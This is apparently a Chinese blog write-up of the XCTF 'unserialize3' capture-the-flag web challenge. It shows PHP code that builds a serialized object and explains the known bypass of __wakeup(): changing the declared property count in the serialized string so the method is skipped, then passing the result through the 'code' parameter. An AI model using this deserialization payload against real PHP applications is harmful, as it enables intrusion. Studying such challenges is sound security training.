

# 攻防世界web进阶区unserialize3

原创

[gongjingege](#) 于 2020-07-15 12:41:07 发布 365 收藏

分类专栏: [ctf](#) 文章标签: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/gongjingege/article/details/107358151>

版权



[ctf](#) 专栏收录该内容

48 篇文章 0 订阅

订阅专栏

打开链接

```
class xctf{
public $flag = '111';
public function __wakeup() {
exit('bad requests');
}
?code=
```

<https://blog.csdn.net/gongjingege>

代码审计, 初步判断code传参获取flag, 序列化绕过\_\_wakeup()函数得到payload

编写一个xctf类并序列化, 运行代码

在线工具

语言 登录 开放

```
PHP [Save] 我的代码 嵌入博客(Embed) 执行(Run) +
1 <?php
2 class xctf{
3 public $flag = '111';
4 public function __wakeup(){
5 exit('bad requests');
6 }
7 }
8 $x=new xctf();
9 echo serialize($x);
10 ?>
O:4:"xctf":1:{s:4:"flag";s:3:"111"}
sandbox> exited with status 0
Clear
https://blog.csdn.net/gongjingege
```

得到payload : O:4:"xctf":1:{s:4:"flag";s:3:"111"};

\_\_wakeup()漏洞就是与整个属性个数有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过\_\_wakeup的执行

所以将1改为比1大的就行, code传参

